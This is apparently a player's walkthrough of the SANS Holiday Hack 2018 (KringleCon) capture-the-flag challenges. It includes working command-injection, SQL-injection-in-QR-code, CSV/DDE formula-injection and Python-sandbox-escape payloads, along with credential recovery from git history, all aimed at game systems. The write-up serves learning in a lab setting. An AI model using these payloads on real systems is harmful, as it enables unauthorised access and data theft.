Question 1:
What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions? For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.
Just quit vi, using :q
Hi, I’m Bushy Evergreen.
I’m glad you’re here, I’m the target of a terrible trick.
Wow, it seems so easy now that you’ve shown me how!
To thank you, I’d like to share some other tips with you.
Have you taken a look at the Orientation Challenge?
This challenge is limited to past SANS Holiday Hack Challenges from 2015, 2016, and 2017. You DO NOT need to play those challenges.
If you listen closely to Ed Skoudis' talk at the con, you might even pick up all the answers you need…
It may take a little poking around, but with your skills, I’m sure it’ll be a wintergreen breeze!
Watch Ed Skoudis' talk and most of the answers are there.
Question 1 In 2015, the Dosis siblings asked for help understanding what piece of their “Gnome in Your Home” toy?
firmware
Question 2 In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
atnas
Question 3 In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
business card
Question 4 In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
cranberry pi (The only question I had to guess, only 4 options and rather obvious given the context)
Question 5 In 2017, the North Pole was being bombarded by giant objects. What were they?
snowballs
Question 6 In 2017, Sam the snowman needed help reassembling pages torn from what?
the great book
=> Happy Trails
Question 2:
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?
Please analyze the CFP site to find out. For hints on achieving this objective, please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal challenge.
1 start onboard process
is vulnerable to SQL injection.
This is annoying. It needs thinking, which is bad, m’kay.
2 to verify the system
is vulnerable to command injection.
Much easier: On anything it tells you the name of the database file: ‘onboard.db’
Validating data store for employee onboard information.
Enter address of server: bla;sqlite3 onboard.db ".tables"
ping: unknown host bla
onboard
onboard.db: SQLite 3.x database
Press Enter to continue...:
So the only table is onboard
. Don’t care about creating a nice query, a grep will give me the answer in the end.
Validating data store for employee onboard information.
Enter address of server: bla;sqlite3 onboard.db 'SELECT * FROM onboard;'
ping: unknown host bla
10|Karen|Duck|52 Annfield Rd||BEAL|DN14 7AU|077 8656 6609|karensduck@einrot.com
11|Josephine|Harrell|3 Victoria Road||LITTLE ASTON|B74 8XD|079 5532 7917|josephinedharrell@einrot.com
[...]
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com
85|Pat|Shaffer|97 Southern Way||NORTH SCARLE|LN6 7SE|070 5181 8156|patcshaffer@superrito.com
[...]
169|Stephanie|Jaynes|1854 Tycos Dr||Toronto|M5T 1T4|416-605-0198|stephaniejjaynes@rhyta.com
170|asdfa|asdfa|asdfa|asdfa|asdfa|||
onboard.db: SQLite 3.x database
Press Enter to continue...:
Or nicer:
Validating data store for employee onboard information.
Enter address of server: bla;sqlite3 onboard.db 'SELECT * FROM onboard;'|grep Chan
ping: unknown host bla
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com
onboard.db: SQLite 3.x database
Press Enter to continue...:
Followed by:
bla;./runtoanswer
Enter Mr. Chan's first name: Scott
.;looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooool:'
'ooooooooooookOOooooxOOdodOOOOOOOdoxOOdoooooOOkoooooooxO000Okdooooooooooooo;
'oooooooooooooXMWooooOMMxodMMNKKKKxoOMMxoooooWMXoooookNMWK0KNMWOooooooooooooo;
:oooooooooooooXMWooooOMMxodMM0ooooooOMMxoooooWMXooooxMMKoooooKMMkooooooooooooo
coooooooooooooXMMMMMMMMMxodMMWWWW0ooOMMxoooooWMXooooOMMkoooookMM0ooooooooooooo
coooooooooooooXMWdddd0MMxodMM0ddddooOMMxoooooWMXooooOMMOoooooOMMkooooooooooooo
coooooooooooooXMWooooOMMxodMMKxxxxdoOMMOkkkxoWMXkkkkdXMW0xxk0MMKoooooooooooooo
cooooooooooooo0NXooookNNdodXNNNNNNkokNNNNNNOoKNNNNNXookKNNWNXKxooooooooooooooo
cooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
cooooooooooooooooooooooooooooooooooMYcNAMEcISooooooooooooooooooooooooooooooooo
cddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddo
OMMMMMMMMMMMMMMMNXXWMMMMMMMNXXWMMMMMMWXKXWMMMMWWWWWWWWWMWWWWWWWWWMMMMMMMMMMMMW
OMMMMMMMMMMMMW: .. ;MMMk' .NMX:. . .lWO d xMMMMMMMMMMMW
OMMMMMMMMMMMMo OMMWXMMl lNMMNxWK ,XMMMO .MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
OMMMMMMMMMMMMX. .cOWMN 'MMMMMMM; WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
OMMMMMMMMMMMMMMKo, KN ,MMMMMMM, WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
OMMMMMMMMMMMMKNMMMO oM, dWMMWOWk cWMMMO ,MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
OMMMMMMMMMMMMc ... cWMWl. .. .NMk. .. .oMMMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
xXXXXXXXXXXXXXKOxk0XXXXXXX0kkkKXXXXXKOkxkKXXXXXXXKOKXXXXXXXKO0XXXXXXXXXXXXXXXK
.oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo,
.looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo,
.,cllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc;.
Congratulations!
onboard.db: SQLite 3.x database
Press Enter to continue...:
Talking to Minty Candycane further gives a hint about browsable directories. Which leads to https://cfp.kringlecastle.com/cfp/ and then: https://cfp.kringlecastle.com/cfp/rejected-talks.csv
qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,Data Loss for Rainbow Teams: A Path in the Darkness,1,11
=> John McClane
Question 3:
The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker? For hints on achieving this objective, please visit Tangle Coalbox and help him with the Lethal ForensicELFication Cranberry Pi terminal challenge.
Look at .viminfo
file. Answer Elinore
in runtoanswer
.
De Bruijns sequence k=4 n=4
0 0 0 0 1 0 0 0 2 0 0 0 3 0 0 1 1 0 0 1 2 0 0 1 3 0 0 2 1 0 0 2 2 0 0 2 3 0 0 3 1 0 0 3 2 0 0 3 3 0 1 0 1 0 2 0 1 0 3 0 1 1 1 0 1 1 2 0 1 1 3 0 1 2 1 0 1 2 2 0 1 2 3 0 1 3 1 0 1 3 2 0 1 3 3 0 2 0 2 0 3 0 2 1 1 0 2 1 2 0 2 1 3 0 2 2 1 0 2 2 2 0 2 2 3 0 2 3 1 0 2 3 2 0 2 3 3 0 3 0 3 1 1 0 3 1 2 0 3 1 3 0 3 2 1 0 3 2 2 0 3 2 3 0 3 3 1 0 3 3 2 0 3 3 3 1 1 1 1 2 1 1 1 3 1 1 2 2 1 1 2 3 1 1 3 2 1 1 3 3 1 2 1 2 1 3 1 2 2 2 1 2 2 3 1 2 3 2 1 2 3 3 1 3 1 3 2 2 1 3 2 3 1 3 3 2 1 3 3 3 2 2 2 2 3 2 2 3 3 2 3 2 3 3 3 3
Then just enter… till you get:
0 1 2 0
Correct guess!
=> Welcome unprepared speaker!
Question 4:
Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file? For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge.
elf@ee820c169c6c:/proc$ ps auxwwwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 17952 2964 pts/0 Ss 19:49 0:00 /bin/bash /sbin/init
root 10 0.0 0.0 49532 3332 pts/0 S 19:49 0:00 sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
root 11 0.0 0.0 49532 3248 pts/0 S 19:49 0:00 sudo -E -u manager /usr/bin/python /home/manager/report-check.py
root 15 0.0 0.0 45320 3084 pts/0 S 19:49 0:00 sudo -u elf /bin/bash
manager 16 0.0 0.0 33848 8076 pts/0 S 19:49 0:00 /usr/bin/python /home/manager/report-check.py
manager 17 0.0 0.0 9500 2596 pts/0 S 19:49 0:00 /bin/bash /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
elf 19 0.0 0.0 18204 3388 pts/0 S 19:49 0:00 /bin/bash
root 23 0.0 0.0 316664 15636 ? Ss 19:49 0:00 /usr/sbin/smbd
root 24 0.0 0.0 308372 5720 ? S 19:49 0:00 /usr/sbin/smbd
root 25 0.0 0.0 308364 4516 ? S 19:49 0:00 /usr/sbin/smbd
root 27 0.0 0.0 316664 5936 ? S 19:49 0:00 /usr/sbin/smbd
manager 35 0.0 0.0 4196 616 pts/0 S 19:51 0:00 sleep 60
elf 36 0.0 0.0 36636 2872 pts/0 R+ 19:51 0:00 ps auxwwwww
elf@aa4efc34b7a5:~$ smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]
smb: \> put report.txt
putting file report.txt as \report.txt (250.5 kb/s) (average 250.5 kb/s)
smb: \> Terminated
elf@aa4efc34b7a5:~$
.;;;;;;;;;;;;;;;'
,NWOkkkkkkkkkkkkkkNN;
..KM; Stall Mucking ,MN..
OMNXNMd. .oMWXXM0.
;MO l0NNNNNNNNNNNNNNN0o xMc
:MO xMl '.
:MO dOOOOOOOOOOOOOOOOOd. xMl :l:.
.cc::::::::;;;;;;;;;;;,oMO .0NNNNNNNNNNNNNNNNN0. xMd,,,,,,,,,,,,,clll:.
'kkkkxxxxxddddddoooooooxMO ..'''''''''''. xMkcccccccllllllllllooc.
'kkkkxxxxxddddddoooooooxMO .MMMMMMMMMMMMMM, xMkcccccccllllllllllooool
'kkkkxxxxxddddddoooooooxMO '::::::::::::, xMkcccccccllllllllllool,
.ooooollllllccccccccc::dMO xMx;;;;;::::::::lllll'
:MO .ONNNNNNNNXk xMl :lc'
:MO dOOOOOOOOOo xMl ;.
:MO 'cccccccccccccc:' xMl
:MO .WMMMMMMMMMMMMMMMW. xMl
:MO ............... xMl
.NWxddddddddddddddddddddddddNW'
;ccccccccccccccccccccccccc;
You have found the credentials I just had forgot,
And in doing so you've saved me trouble untold.
Going forward we'll leave behind policies old,
Building separate accounts for each elf in the lot.
-Wunorse Openslae
Trufflehog
entropy=true
$ trufflehog --entropy=True https://git.kringlecastle.com/Upatree/santas_castle_automation
[...]
Reason: High Entropy
Date: 2018-12-11 08:16:57
Hash: 0dfdc124b43a4e7e1233599c429c0328ec8b01ef
Filepath: schematics/for_elf_eyes_only.md
Branch: origin/master
Commit: important update
@@ -1,15 +0,0 @@
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
-
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
-
-
-Hopefully this is the last time we have to change our password again until next Christmas.
-
-
-
-
-Password = 'Yippee-ki-yay'
-
-
-Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'
-
[...]
=> Yippee-ki-yay
indeed unlocks the zipfile and is the correct answer.
Question 5:
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws. For hints on achieving this objective, please visit Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge.
$ cat /etc/nginx/nginx.conf
[...]
server {
# love using the new stuff! -Bushy
listen 8080 http2;
# server_name localhost 127.0.0.1;
root /var/www/html;
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
if (!-f $document_root$fastcgi_script_name) {
return 404;
}
# Mitigate https://httpoxy.org/ vulnerabilities
fastcgi_param HTTP_PROXY "";
[...]
combine with:
elf@98a4908a0dfd:~$ cat .bash_history
netstat -ant
ncat --broker -nlvp 9090
echo "\302\257\_(\343\203\204)_/\302\257" >> /tmp/shruggins
cat /tmp/shruggins
curl --http2-prior-knowledge http://localhost:8080/index.php
telnet towel.blinkenlights.nl
fortune | cowsay | lolcat
ps -aux
sl
figlet I am your father
echo 'goHangasaLAmIimalaSAgnaHoG' | rev
aptitude moo
aptitude -v moo
aptitude -vv moo
aptitude -vvv moo
aptitude -vvvv moo
aptitude -vvvvv moo
aptitude -vvvvvv moo
yes Giddyup
factor 512
aafire
elf@98a4908a0dfd:~$ curl --http2-prior-knowledge http://localhost:8080/index.php
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
</body>
</html>
elf@98a4908a0dfd:~$
elf@98a4908a0dfd:~$ curl --http2-prior-knowledge --data-raw "status=on" http://localhost:8080/index.php
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
okkd,
OXXXXX,
oXXXXXXo
;XXXXXXX;
;KXXXXXXx
oXXXXXXXO
.lKXXXXXXX0.
'''''' .'''''' .'''''' .:::; ':okKXXXXXXXX0Oxcooddool,
'MMMMMO',,,,,;WMMMMM0',,,,,;WMMMMMK',,,,,,occccoOXXXXXXXXXXXXXxxXXXXXXXXXXX.
'MMMMN;,,,,,'0MMMMMW;,,,,,'OMMMMMW:,,,,,'kxcccc0XXXXXXXXXXXXXXxx0KKKKK000d;
'MMMMl,,,,,,oMMMMMMo,,,,,,lMMMMMMd,,,,,,cMxcccc0XXXXXXXXXXXXXXOdkO000KKKKK0x.
'MMMO',,,,,;WMMMMMO',,,,,,NMMMMMK',,,,,,XMxcccc0XXXXXXXXXXXXXXxxXXXXXXXXXXXX:
'MMN,,,,,,'OMMMMMW;,,,,,'kMMMMMW;,,,,,'xMMxcccc0XXXXXXXXXXXXKkkxxO00000OOx;.
'MMl,,,,,,lMMMMMMo,,,,,,cMMMMMMd,,,,,,:MMMxcccc0XXXXXXXXXXKOOkd0XXXXXXXXXXO.
'M0',,,,,;WMMMMM0',,,,,,NMMMMMK,,,,,,,XMMMxcccckXXXXXXXXXX0KXKxOKKKXXXXXXXk.
.c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc
;xKXXXXXXX0xKXXXXXXXXK.
..,:ccllc:cccccc:'
Unencrypted 2.0? He's such a silly guy.
That's the kind of stunt that makes my OWASP friends all cry.
Truth be told: most major sites are speaking 2.0;
TLS connections are in place when they do so.
-Holly Evergreen
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.
</body>
</html>
Unencrypted HTTP/2? What was he thinking? Oh well.
Have you ever used Bloodhound for testing Active Directory implementations?
It's a merry little tool that can sniff AD and find paths to reaching privileged status on specific machines.
AD implementations can get so complicated that administrators may not even know what paths they've set up that attackers might exploit.
Have you seen anyone demo the tool before?
Converted image to qcow2 and opened in VMM. Bloodhound link on the desktop. Double clicking opens up a graph.
Back to the original question:
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name?
One of the predefined queries in Bloodhound is Shortest paths to domain admins from kerberoastable users
. This sounds perfect.
There’s only 1 with no RDP in the path:
=> LDUBEJ00320@AD.KRINGLECASTLE.COM
Question 6:
Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel? For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.
elf@a322c4fb2249:~$ grep TargetUserName /tmp/log.xml|grep -v HealthMailbox|grep Data\ Name
<Data Name="TargetUserName">Administrator</Data>
<Data Name="TargetUserName">-</Data>
<Data Name="TargetUserName">-</Data>
<Data Name="TargetUserName">-</Data>
<Data Name="TargetUserName">-</Data>
<Data Name="TargetUserName">-</Data>
[...]
<Data Name="TargetUserName">test.user</Data>
<EventData><Data Name="TargetUserName">WIN-KCON-EXCH16$@EM.KRINGLECON.COM</Data>
<EventData><Data Name="TargetUserName">shinny.upatree</Data>
<EventData><Data Name="TargetUserName">shinny.upatree@EM.KRINGLECON.COM</Data>
<Data Name="TargetUserName">shinny.upatree</Data>
<EventData><Data Name="TargetUserName">WIN-KCON-EXCH16$@EM.KRINGLECON.COM</Data>
<Data Name="TargetUserName">aaron.smith</Data>
<Data Name="TargetUserName">abhishek.kumar</Data>
<Data Name="TargetUserName">adam.smith</Data>
[...]
<Data Name="TargetUserName">mike.jones</Data>
<Data Name="TargetUserName">mike.miller</Data>
<Data Name="TargetUserName">mike.smith</Data>
<Data Name="TargetUserName">mike.williams</Data>
<EventData><Data Name="TargetUserName">minty.candycane</Data>
<EventData><Data Name="TargetUserName">minty.candycane@EM.KRINGLECON.COM</Data>
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetUserName">mohamed.ahmed</Data>
<Data Name="TargetUserName">mohamed.ali</Data>
<Data Name="TargetUserName">muhammad.ali</Data>
<Data Name="TargetUserName">naveen.kumar</Data>
<Data Name="TargetUserName">nicole.smith</Data>
<Data Name="TargetUserName">paul.smith</Data>
<Data Name="TargetUserName">pepper.minstix</Data>
[...]
elf@a322c4fb2249:~$ ./runtoanswer
Loading, please wait......
Whose account was successfully accessed by the attacker's password spray? minty.candycane
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMXO0NMxl0MXOONMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMxlllooldollo0MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMW0OKWMMNKkollldOKWMMNKOKMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMXollox0NMMMxlOMMMXOdllldWMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMWXOdlllokKxlk0xollox0NMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMNkkXMMMMMMMMMMMWKkollllllldkKWMMMMMMMMMMM0kOWMMMMMMMMMMMM
MMMMMMWKXMMMkllxMMMMMMMMMMMMMMMXOold0NMMMMMMMMMMMMMMMollKMMWKKWMMMMMM
MMMMMMdllKMMkllxMMMMMMMMMMMMN0KNMxl0MN00WMMMMMMMMMMMMollKMMOllkMMMMMM
Mkox0XollKMMkllxMMMMMMMMMMMMxllldoldolllOMMMMMMMMMMMMollKMMkllxXOdl0M
MMN0dllll0MMkllxMMMMMMMMMMMMMN0xolllokKWMMMMMMMMMMMMMollKMMkllllx0NMM
MW0xolllolxOxllxMMNxdOMMMMMWMMMMWxlOMMMMWWMMMMWkdkWMMollOOdlolllokKMM
M0lldkKWMNklllldNMKlloMMMNolok0NMxl0MX0xolxMMMXlllNMXolllo0NMNKkoloXM
MMWWMMWXOdlllokdldxlloWMMXllllllooloollllllWMMXlllxolxxolllx0NMMMNWMM
MMMN0kolllx0NMMW0ollll0NMKlloN0kolllokKKlllWMXklllldKMMWXOdlllokKWMMM
MMOllldOKWMMMMkollox0OdldxlloMMMMxlOMMMNlllxoox0Oxlllo0MMMMWKkolllKMM
MMW0KNMMMMMMMMKkOXWMMMW0olllo0NMMxl0MWXklllldXMMMMWKkkXMMMMMMMMX0KWMM
MMMMMMMMMMMMMMMMMMMW0xollox0Odlokdlxxoox00xlllokKWMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMWollllOWMMMMNklllloOWMMMMNxllllxMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMN0xlllokK0xookdlxxookK0xollokKWMMMMMMMMMMMMMMMMMMM
MMWKKWMMMMMMMMKk0XMMMMW0ollloOXMMxl0MWKklllldKWMMMWXOOXMMMMMMMMNKKMMM
MMkllldOXWMMMMklllok00xoodlloMMMMxlOMMMNlllxook00xollo0MMMMWKkdlllKMM
MMMN0xollox0NMMW0ollllONMKlloNKkollldOKKlllWMXklllldKWMMX0xlllok0NMMM
MMWWMMWKkollldkxlodlloWMMXllllllooloollllllWMMXlllxooxkollldOXMMMWMMM
M0lldOXWMNklllldNMKlloMMMNolox0XMxl0WXOxlldMMMXlllNMXolllo0WMWKkdloXM
MW0xlllodldOxllxMMNxdOMMMMMNMMMMMxlOMMMMWNMMMMWxdxWMMollkkoldlllokKWM
MMN0xllll0MMkllxMMMMMMMMMMMMMNKkolllokKWMMMMMMMMMMMMMollKMMkllllkKWMM
MkldOXollKMMkllxMMMMMMMMMMMMxlllooloolll0MMMMMMMMMMMMollKMMkllxKkol0M
MWWMMMdllKMMkllxMMMMMMMMMMMMXO0XMxl0WXOONMMMMMMMMMMMMollKMMOllkMMMWMM
MMMMMMNKKMMMkllxMMMMMMMMMMMMMMMN0oldKWMMMMMMMMMMMMMMMollKMMWKKWMMMMMM
MMMMMMMMMMMMXkxXMMMMMMMMMMMWKkollllllldOXMMMMMMMMMMMM0xkWMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMX0xlllok0xlk0xollox0NMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMXollldOXMMMxlOMMWXOdllldWMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMW0OKWMMWKkollldOXWMMN0kKMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMklllooloollo0MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMXOOXMxl0WKOONMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
Silly Minty Candycane, well this is what she gets.
"Winter2018" isn't for The Internets.
Passwords formed with season-year are on the hackers' list.
Maybe we should look at guidance published by the NIST?
Congratulations!
elf@a322c4fb2249:~$
Hint is something about SQL injection vulnerabilities in QR code reader.
Well, that explains the odd activity in Minty's account. Thanks for your help!
All of the Kringle Castle employees have these cool cards with QR codes on them that give us access to restricted areas.
Unfortunately, the badge-scan-o-matic said my account was disabled when I tried scanning my badge.
I really needed access so I tried scanning several QR codes I made from my phone but the scanner kept saying "User Not Found".
I researched a SQL database error from scanning a QR code with special characters in it and found it may contain an injection vulnerability.
I was going to try some variations I found on OWASP <https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF#Auth_Bypass> but decided to stop so I don't tick-off Alabaster.
The provided QR code read:
oRfjg5uGHmbduj2m
When I try the provided alabaster_badge.jpg
the scanner tells me “PNG files only”.
Convert to png and it says “authorized user account has been disabled”. So how to 1) enable or b) find another account.
A test with
$ qrencode "bla';--bla" -o test.png
indeed shows a wordy error message, which mentions mariadb. This interface isn’t very helpful.
Looking at the hinted OWASP section:
or 1-- -' or 1 or '1"or 1 or"
Which is not what we need. We don’t need just any account, but any enabled account. So adapt the code to be true on enabled:
$ qrencode "' or enabled or 'enabled\"or enabled or\"" -o test11.png
This gives:
{"data":"User Access Granted - Control number 19880715","request":true,"success":{"hash":"ff60055a84873cd7d75ce86cfaebd971ab90c86ff72d976ede0f5f04795e99eb","resourceId":"false"}}
=> 19880715
Question 7:
Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx
. Which terrorist organization is secretly supported by the job applicant whose name begins with “K”? For hints on achieving this objective, please visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal challenge.
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use
commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 13:25:32 2018 -0500
Add passport module
So rollback to b2376f4a93ca1889ba7d947c2d14be9a5d138802:
elf@9ba9fadb413a:~/kcconfmgmt$ git checkout b2376f4a93ca1889ba7d947c2d14be9a5d138802
Note: checking out 'b2376f4a93ca1889ba7d947c2d14be9a5d138802'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:
git checkout -b <new-branch-name>
HEAD is now at b2376f4... Add passport module
elf@9ba9fadb413a:~/kcconfmgmt$ ls
README.md app.js package-lock.json package.json public routes server views
elf@9ba9fadb413a:~/kcconfmgmt$ find . -name config.js
./server/config/config.js
elf@9ba9fadb413a:~/kcconfmgmt$ cat ./server/config/config.js
// Database URL
module.exports = {
'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
};
elf@9ba9fadb413a:~$ ./runtoanswer
Loading, please wait......
Enter Sparkle Redberry's password: twinkletwinkletwinkle
This ain't "I told you so" time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.
Congratulations!
Oh my golly gracious - Tangle was right? It was still in there? How embarrassing!
Well, if I can try to redeem myself a bit, let me tell you about another challenge you can help us with.
I wonder if Tangle Coalbox has taken a good look at his own employee import system.
It takes CSV files as imports. That certainly can expedite a process, but there’s danger to be had.
I’ll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.
I’m sure the danger can be mitigated. OWASP has guidance on what not to allow with such oploads.
https://careers.kringlecastle.com/
This should work:
employer,year
santa,2018
"=CMD|' /C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\'!A1",2017
Then request: https://careers.kringlecastle.com/candidate_evaluation.docx
After better reading of the 404, that should be:
Then request: https://careers.kringlecastle.com/public/candidate_evaluation.docx
Also in the end I just used a single line:
santa,"=cmd|' /C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\bla.docx'!A0",2017
=> Fancy Beaver
Question 8:
Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge.
>>> os = eval('__imp' + 'ort__("os")')
>>> os.system("id")
Use of the command os.system is prohibited for this question.
>>> eval("os.sy" + "stem('./i_escaped')")
Loading, please wait......
____ _ _
| _ \ _ _| |_| |__ ___ _ __
| |_) | | | | __| '_ \ / _ \| '_ \
| __/| |_| | |_| | | | (_) | | | |
|_|___ \__, |\__|_| |_|\___/|_| |_| _ _
| ____||___/___ __ _ _ __ ___ __| | |
| _| / __|/ __/ _` | '_ \ / _ \/ _` | |
| |___\__ \ (_| (_| | |_) | __/ (_| |_|
|_____|___/\___\__,_| .__/ \___|\__,_(_)
|_|
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary
You escaped! Congratulations!
0
>>>
Yay, you did it! You escaped from the Python!
As a token of my gratitude, I would like to share a rumor I had heard about Santa’s new web-based packet analyzer - Packalyzer. https://packalyzer.kringlecastle.com/
Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.
Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.
There was suspicious-looking development code using environment variables to store SSL keys and open up directories.
This elf then told me that manipulating values in the URL gave back weird and descriptive errors.
I’m hoping these errors can’t be used to compromise SSL on the website and steal logins.
On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!
view-source:https://packalyzer.kringlecastle.com/
//File upload Function. All extensions and sizes are validated server-side in app.js
https://packalyzer.kringlecastle.com:80/pub/app.js
[...]
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
key: fs.readFileSync(__dirname + '/keys/server.key'),
cert: fs.readFileSync(__dirname + '/keys/server.crt'),
http2: {
protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1
protocols: [ 'h2' ],
},
keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time
};
[...]
From the talk, curl can be used to log SSL keys:
$ SSLKEYLOGFILE=SSL_KEYS.txt curl -v --http2 'https://packalyzer.kringlecastle.com:80/keys/server.key'
$ cat SSL_KEYS.txt
And so can Chrome, using the --ssl-key-log-file=.... flag
:
chrome --incognite ----ssl-key-log-file="SSL_KEYS.txt" --new-window "https://packalyzer.kringlecastle.com:80"
Useful wireshark filters: DEV=uploads SSLKEYLOGFILE=SSLKEYS-demux.txt curl -v –http2 ‘https://packalyzer.kringlecastle.com:80/uploads/SSLKEYS-demux.txt'
- http2
- http2.headers.method == “GET”
- http2.headers.path == “pub/css/styles/css”
- http2.headers.set_cookie
- http2.data.data && http2 contains username
